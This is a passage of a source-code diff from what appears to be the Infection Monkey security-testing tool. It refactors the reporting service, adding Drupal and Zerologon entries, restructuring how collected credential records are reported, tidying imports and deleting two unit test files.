self.assertEqual("empty", EdgeService.get_group(edge)) + assert "empty" == EdgeService.get_group(edge) diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index f29b9ba71..44d303fc3 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -8,8 +8,8 @@ from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.report import ReportService -from monkey_island.cc.services.reporting.report_generation_synchronisation import ( - is_report_being_generated, safe_generate_reports) +from monkey_island.cc.services.reporting.report_generation_synchronisation import (is_report_being_generated, + safe_generate_reports) logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/netmap/net_edge.py b/monkey/monkey_island/cc/services/netmap/net_edge.py index 44e097630..0734bf606 100644 --- a/monkey/monkey_island/cc/services/netmap/net_edge.py +++ b/monkey/monkey_island/cc/services/netmap/net_edge.py @@ -1,7 +1,6 @@ from bson import ObjectId from monkey_island.cc.models import Monkey -from monkey_island.cc.models.edge import Edge from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService from monkey_island.cc.services.edge.edge import EdgeService from monkey_island.cc.services.node import NodeService diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index fc18e0ef2..1c2c0f9f1 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -3,14 +3,12 @@ from datetime import datetime, timedelta from typing import Dict from bson import ObjectId -from mongoengine import DoesNotExist import monkey_island.cc.services.log from monkey_island.cc import models from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.models.edge import Edge -from monkey_island.cc.network_utils import is_local_ips, local_ip_addresses +from monkey_island.cc.services.utils.network_utils import is_local_ips, local_ip_addresses from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService from monkey_island.cc.services.edge.edge import EdgeService from monkey_island.cc.services.utils.node_states import NodeStates diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index e3e6266cb..44f1b91b2 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -6,12 +6,17 @@ import monkey_island.cc.services.config __author__ = "VakarisZ" +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH + logger = logging.getLogger(__name__) # Where to find file names in config PBA_WINDOWS_FILENAME_PATH = ['monkey', 'post_breach', 'PBA_windows_filename'] PBA_LINUX_FILENAME_PATH = ['monkey', 'post_breach', 'PBA_linux_filename'] -UPLOADS_DIR = Path('monkey_island', 'cc', 'userUploads') +UPLOADS_DIR_NAME = 'userUploads' + + +ABS_UPLOAD_PATH = Path(MONKEY_ISLAND_ABS_PATH, 'cc', UPLOADS_DIR_NAME) def remove_PBA_files(): @@ -25,7 +30,7 @@ def remove_PBA_files(): def remove_file(file_name): - file_path = os.path.join(UPLOADS_DIR, file_name) + file_path = os.path.join(ABS_UPLOAD_PATH, file_name) try: if os.path.exists(file_path): os.remove(file_path) diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index de8950042..1347775d0 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -6,13 +6,14 @@ import boto3 from botocore.exceptions import UnknownServiceError from common.cloud.aws.aws_instance import AwsInstance -from monkey_island.cc.environment import EnvironmentConfig from monkey_island.cc.services.reporting.exporter import Exporter __authors__ = ['maor.rayzin', 'shay.nehmad'] logger = logging.getLogger(__name__) +INFECTION_MONKEY_ARN = "324264561773:product/guardicore/aws-infection-monkey" + class AWSExporter(Exporter): @staticmethod @@ -68,7 +69,7 @@ class AWSExporter(Exporter): # azure and conficker are not relevant issues for an AWS env } - configured_product_arn = EnvironmentConfig.get_from_file().aws.get('sec_hub_product_arn', '') + configured_product_arn = INFECTION_MONKEY_ARN product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}' # Not suppressing error here on purpose. @@ -299,7 +300,7 @@ class AWSExporter(Exporter): title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " "network.", - recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over " + recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over " "the WMI protocol with user {username} and its password.".format( machine=issue['machine'], ip_address=issue['ip_address'], @@ -316,7 +317,7 @@ class AWSExporter(Exporter): title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " "network.".format(issue['username']), - recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a " + recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey used a " "pass-the-hash attack over WMI protocol with user {username}".format( machine=issue['machine'], ip_address=issue['ip_address'], diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index f7f78714c..391b23cf1 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -1,10 +1,8 @@ import logging -import monkey_island.cc.environment.environment_singleton as env_singleton from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.reporting.aws_exporter import AWSExporter -from monkey_island.cc.services.reporting.report_exporter_manager import \ - ReportExporterManager +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager logger = logging.getLogger(__name__) @@ -22,7 +20,7 @@ def try_add_aws_exporter_to_manager(manager): # noinspection PyBroadException try: RemoteRunAwsService.init() - if RemoteRunAwsService.is_running_on_aws() and ('aws' == env_singleton.env.get_deployment()): + if RemoteRunAwsService.is_running_on_aws(): manager.add_exporter_to_list(AWSExporter) except Exception: logger.error("Failed adding aws exporter to manager. Exception info:", exc_info=True) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index f557c6a01..a23aa6d85 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -10,16 +10,16 @@ from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.network_utils import get_subnets, local_ip_addresses +from monkey_island.cc.services.utils.network_utils import get_subnets, local_ip_addresses from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.configuration.utils import \ - get_config_network_segments_as_subnet_groups +from common.config_value_paths import (EXPLOITER_CLASSES_PATH, LOCAL_NETWORK_SCAN_PATH, + PASSWORD_LIST_PATH, SUBNET_SCAN_LIST_PATH, + USER_LIST_PATH) +from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.pth_report import PTHReportService -from monkey_island.cc.services.reporting.report_exporter_manager import \ - ReportExporterManager -from monkey_island.cc.services.reporting.report_generation_synchronisation import \ - safe_generate_regular_report +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager +from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_regular_report __author__ = "itay.mizeretz" @@ -43,7 +43,9 @@ class ReportService: 'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'HadoopExploiter': 'Hadoop/Yarn Exploiter', 'MSSQLExploiter': 'MSSQL Exploiter', - 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited' + 'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter', + 'DrupalExploiter': 'Drupal Server Exploiter', + 'ZerologonExploiter': 'Windows Server Zerologon Exploiter' } class ISSUES_DICT(Enum): @@ -61,6 +63,9 @@ class ReportService: PTH_CRIT_SERVICES_ACCESS = 11 MSSQL = 12 VSFTPD = 13 + DRUPAL = 14 + ZEROLOGON = 15 + ZEROLOGON_PASSWORD_RESTORE_FAILED = 16 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -176,32 +181,61 @@ class ReportService: @staticmethod def get_stolen_creds(): - PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} creds = [] - for telem in mongo.db.telemetry.find( - {'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, - {'data.credentials': 1, 'monkey_guid': 1} - ): - monkey_creds = telem['data']['credentials'] - if len(monkey_creds) == 0: - continue - origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] - for user in monkey_creds: - for pass_type in PASS_TYPE_DICT: - if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]: - continue - username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user - cred_row = \ - { - 'username': username, - 'type': PASS_TYPE_DICT[pass_type], - 'origin': origin - } - if cred_row not in creds: - creds.append(cred_row) + + stolen_system_info_creds = ReportService._get_credentials_from_system_info_telems() + creds.extend(stolen_system_info_creds) + + stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems() + creds.extend(stolen_exploit_creds) + logger.info('Stolen creds generated for reporting') return creds + @staticmethod + def _get_credentials_from_system_info_telems(): + formatted_creds = [] + for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, + {'data.credentials': 1, 'monkey_guid': 1}): + creds = telem['data']['credentials'] + origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] + formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin)) + return formatted_creds + + @staticmethod + def _get_credentials_from_exploit_telems(): + formatted_creds = [] + for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, + {'data.info.credentials': 1, 'data.machine': 1, 'monkey_guid': 1}): + creds = telem['data']['info']['credentials'] + domain_name = telem['data']['machine']['domain_name'] + ip = telem['data']['machine']['ip_addr'] + origin = domain_name if domain_name else ip + formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin)) + return formatted_creds + + @staticmethod + def _format_creds_for_reporting(telem, monkey_creds, origin): + creds = [] + CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} + if len(monkey_creds) == 0: + return [] + + for user in monkey_creds: + for cred_type in CRED_TYPE_DICT: + if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]: + continue + username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user + cred_row = \ + { + 'username': username, + 'type': CRED_TYPE_DICT[cred_type], + 'origin': origin + } + if cred_row not in creds: + creds.append(cred_row) + return creds + @staticmethod def get_ssh_keys(): """ @@ -355,6 +389,19 @@ class ReportService: processed_exploit['type'] = 'mssql' return processed_exploit + @staticmethod + def process_drupal_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'drupal' + return processed_exploit + + @staticmethod + def process_zerologon_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'zerologon' + processed_exploit['password_restored'] = exploit['data']['info']['password_restored'] + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -370,7 +417,9 @@ class ReportService: 'WebLogicExploiter': ReportService.process_weblogic_exploit, 'HadoopExploiter': ReportService.process_hadoop_exploit, 'MSSQLExploiter': ReportService.process_mssql_exploit, - 'VSFTPDExploiter': ReportService.process_vsftpd_exploit + 'VSFTPDExploiter': ReportService.process_vsftpd_exploit, + 'DrupalExploiter': ReportService.process_drupal_exploit, + 'ZerologonExploiter': ReportService.process_zerologon_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -501,6 +550,7 @@ class ReportService: 'hostname': monkey['hostname'], 'target': target_ip, 'services': scan['data']['machine']['services'], + 'icmp': scan['data']['machine']['icmp'], 'is_self': False }) @@ -535,7 +585,7 @@ class ReportService: @staticmethod def get_cross_segment_issues(): scans = mongo.db.telemetry.find({'telem_category': 'scan'}, - {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1}) + {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1, 'data.machine.icmp': 1}) cross_segment_issues = [] @@ -610,15 +660,15 @@ class ReportService: @staticmethod def get_config_users(): - return ConfigService.get_config_value(['basic', 'credentials', 'exploit_user_list'], True, True) + return ConfigService.get_config_value(USER_LIST_PATH, True, True) @staticmethod def get_config_passwords(): - return ConfigService.get_config_value(['basic', 'credentials', 'exploit_password_list'], True, True) + return ConfigService.get_config_value(PASSWORD_LIST_PATH, True, True) @staticmethod def get_config_exploits(): - exploits_config_value = ['basic', 'exploiters', 'exploiter_classes'] + exploits_config_value = EXPLOITER_CLASSES_PATH default_exploits = ConfigService.get_default_config(False) for namespace in exploits_config_value: default_exploits = default_exploits[namespace] @@ -632,11 +682,11 @@ class ReportService: @staticmethod def get_config_ips(): - return ConfigService.get_config_value(['basic_network', 'scope', 'subnet_scan_list'], True, True) + return ConfigService.get_config_value(SUBNET_SCAN_LIST_PATH, True, True) @staticmethod def get_config_scan(): - return ConfigService.get_config_value(['basic_network', 'scope', 'local_network_scan'], True, True) + return ConfigService.get_config_value(LOCAL_NETWORK_SCAN_PATH, True, True) @staticmethod def get_issues_overview(issues, config_users, config_passwords): @@ -666,6 +716,12 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True elif issue['type'] == 'hadoop': issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True + elif issue['type'] == 'drupal': + issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True + elif issue['type'] == 'zerologon': + if not issue['password_restored']: + issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON_PASSWORD_RESTORE_FAILED.value] = True + issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py index f2fa11c89..30e406e9f 100644 --- a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py +++ b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py @@ -1,5 +1,6 @@ import logging -import threading + +from gevent.lock import BoundedSemaphore logger = logging.getLogger(__name__) @@ -7,9 +8,9 @@ logger = logging.getLogger(__name__) # Report generation can be quite slow if there is a lot of data, and the UI queries the Root service often; without # the locks, these requests would accumulate, overload the server, eventually causing it to crash. logger.debug("Initializing report generation locks.") -__report_generating_lock = threading.Semaphore() -__attack_report_generating_lock = threading.Semaphore() -__regular_report_generating_lock = threading.Semaphore() +__report_generating_lock = BoundedSemaphore() +__attack_report_generating_lock = BoundedSemaphore() +__regular_report_generating_lock = BoundedSemaphore() def safe_generate_reports(): @@ -37,8 +38,7 @@ def safe_generate_regular_report(): def safe_generate_attack_report(): # Local import to avoid circular imports - from monkey_island.cc.services.attack.attack_report import \ - AttackReportService + from monkey_island.cc.services.attack.attack_report import AttackReportService try: __attack_report_generating_lock.acquire() attack_report = AttackReportService.generate_new_report() diff --git a/monkey/monkey_island/cc/services/reporting/test_pth_report.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py deleted file mode 100644 index b5a628fb1..000000000 --- a/monkey/monkey_island/cc/services/reporting/test_pth_report.py +++ /dev/null @@ -1,66 +0,0 @@ -import uuid - -from monkey_island.cc.models import Monkey -from monkey_island.cc.services.reporting.pth_report import PTHReportService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase - - -class TestPTHReportServiceGenerateMapNodes(IslandTestCase): - def test_generate_map_nodes(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - - self.assertEqual(PTHReportService.generate_map_nodes(), []) - - windows_monkey_with_services = Monkey( - guid=str(uuid.uuid4()), - hostname="A_Windows_PC_1", - critical_services=["aCriticalService", "Domain Controller"], - ip_addresses=["1.1.1.1", "2.2.2.2"], - description="windows 10" - ) - windows_monkey_with_services.save() - - windows_monkey_with_no_services = Monkey( - guid=str(uuid.uuid4()), - hostname="A_Windows_PC_2", - critical_services=[], - ip_addresses=["3.3.3.3"], - description="windows 10" - ) - windows_monkey_with_no_services.save() - - linux_monkey = Monkey( - guid=str(uuid.uuid4()), - hostname="A_Linux_PC", - ip_addresses=["4.4.4.4"], - description="linux ubuntu" - ) - linux_monkey.save() - - map_nodes = PTHReportService.generate_map_nodes() - - self.assertEqual(2, len(map_nodes)) - - def test_generate_map_nodes_parsing(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - - monkey_id = str(uuid.uuid4()) - hostname = "A_Windows_PC_1" - windows_monkey_with_services = Monkey( - guid=monkey_id, - hostname=hostname, - critical_services=["aCriticalService", "Domain Controller"], - ip_addresses=["1.1.1.1"], - description="windows 10" - ) - windows_monkey_with_services.save() - - map_nodes = PTHReportService.generate_map_nodes() - - self.assertEqual(map_nodes[0]["id"], monkey_id) - self.assertEqual(map_nodes[0]["label"], "A_Windows_PC_1 : 1.1.1.1") - self.assertEqual(map_nodes[0]["group"], "critical") - self.assertEqual(len(map_nodes[0]["services"]), 2) - self.assertEqual(map_nodes[0]["hostname"], hostname) diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py deleted file mode 100644 index dbadffb55..000000000 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ /dev/null @@ -1,335 +0,0 @@ -import common.data.zero_trust_consts as zero_trust_consts -import monkey_island.cc.services.reporting.zero_trust_service -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.services.reporting.zero_trust_service import \ - ZeroTrustService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase - -EXPECTED_DICT = { - zero_trust_consts.AUTOMATION_ORCHESTRATION: [], - zero_trust_consts.DATA: [ - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_DATA_TRANSIT], - "status": zero_trust_consts.STATUS_FAILED, - "tests": [ - { - "status": zero_trust_consts.STATUS_FAILED, - "test": zero_trust_consts.TESTS_MAP - [zero_trust_consts.TEST_DATA_ENDPOINT_HTTP][zero_trust_consts.TEST_EXPLANATION_KEY] - }, - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP - [zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC][zero_trust_consts.TEST_EXPLANATION_KEY] - }, - ] - } - ], - zero_trust_consts.DEVICES: [ - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ENDPOINT_SECURITY], - "status": zero_trust_consts.STATUS_FAILED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP - [zero_trust_consts.TEST_MACHINE_EXPLOITED][zero_trust_consts.TEST_EXPLANATION_KEY] - }, - { - "status": zero_trust_consts.STATUS_FAILED, - "test": zero_trust_consts.TESTS_MAP - [zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS][zero_trust_consts.TEST_EXPLANATION_KEY] - }, - ] - } - ], - zero_trust_consts.NETWORKS: [ - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_SEGMENTATION], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SEGMENTATION][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USER_BEHAVIOUR], - "status": zero_trust_consts.STATUS_VERIFY, - "tests": [ - { - "status": zero_trust_consts.STATUS_VERIFY, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SCHEDULED_EXECUTION][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_TUNNELING][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - ], - zero_trust_consts.PEOPLE: [ - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USER_BEHAVIOUR], - "status": zero_trust_consts.STATUS_VERIFY, - "tests": [ - { - "status": zero_trust_consts.STATUS_VERIFY, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SCHEDULED_EXECUTION][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - } - ], - zero_trust_consts.VISIBILITY_ANALYTICS: [ - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_TUNNELING][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - ], - zero_trust_consts.WORKLOADS: [] -} - - -def save_example_findings(): - # arrange - Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_PASSED, - []) # devices passed = 1 - Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_PASSED, - []) # devices passed = 2 - Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_FAILED, - []) # devices failed = 1 - # devices unexecuted = 1 - # people verify = 1 - # networks verify = 1 - Finding.save_finding(zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY, []) - # people verify = 2 - # networks verify = 2 - Finding.save_finding(zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY, []) - # data failed 1 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) - # data failed 2 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) - # data failed 3 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) - # data failed 4 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) - # data failed 5 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) - # data verify 1 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY, []) - # data verify 2 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY, []) - # data passed 1 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_PASSED, []) - - -class TestZeroTrustService(IslandTestCase): - def test_get_pillars_grades(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - save_example_findings() - - expected = [ - { - zero_trust_consts.STATUS_FAILED: 5, - zero_trust_consts.STATUS_VERIFY: 2, - zero_trust_consts.STATUS_PASSED: 1, - zero_trust_consts.STATUS_UNEXECUTED: 1, - "pillar": "Data" - }, - { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 2, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 1, - "pillar": "People" - }, - { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 2, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 4, - "pillar": "Networks" - }, - { - zero_trust_consts.STATUS_FAILED: 1, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 2, - zero_trust_consts.STATUS_UNEXECUTED: 1, - "pillar": "Devices" - }, - { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 0, - "pillar": "Workloads" - }, - { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 3, - "pillar": "Visibility & Analytics" - }, - { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 0, - "pillar": "Automation & Orchestration" - } - ] - - result = ZeroTrustService.get_pillars_grades() - - self.assertEqual(result, expected) - - def test_get_principles_status(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - self.maxDiff = None - - save_example_findings() - - expected = dict(EXPECTED_DICT) # new mutable - - result = ZeroTrustService.get_principles_status() - # Compare expected and result, no order: - for pillar_name, pillar_principles_status_result in result.items(): - for index, pillar_principle_status_expected in enumerate(expected.get(pillar_name)): - correct_one = None - for pillar_principle_status_result in pillar_principles_status_result: - if pillar_principle_status_result["principle"] == pillar_principle_status_expected["principle"]: - correct_one = pillar_principle_status_result - break - - # Compare tests no order - self.assertTrue(compare_lists_no_order(correct_one["tests"], pillar_principle_status_expected["tests"])) - # Compare the rest - del pillar_principle_status_expected["tests"] - del correct_one["tests"] - self.assertEqual(sorted(correct_one), sorted(pillar_principle_status_expected)) - - def test_get_pillars_to_statuses(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - self.maxDiff = None - - expected = { - zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DEVICES: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED - } - - self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected) - - save_example_findings() - - expected = { - zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DEVICES: zero_trust_consts.STATUS_FAILED, - zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_VERIFY, - zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_VERIFY, - zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, - 